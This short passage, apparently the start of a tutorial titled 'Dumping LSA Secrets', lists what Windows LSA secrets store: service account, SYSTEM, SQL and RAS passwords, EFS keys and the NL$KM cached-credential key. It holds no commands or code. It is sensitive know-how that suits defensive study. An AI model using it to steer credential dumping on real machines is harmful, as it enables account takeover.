Dumping LSA Secrets

What is stored in LSA secrets?

Originally, the secrets contained cached domain records. Later, Windows developers expanded the application area for the storage. At this moment, they can store PC users' text passwords, service account passwords (for example, those that must be run by a certain user to perform certain tasks), Internet Explorer passwords, RAS connection passwords, SQL and CISCO passwords, SYSTEM account passwords, private user data like EFS encryption keys, and a lot more. For example, the NL$KM secret contains the cached domain password encryption key.
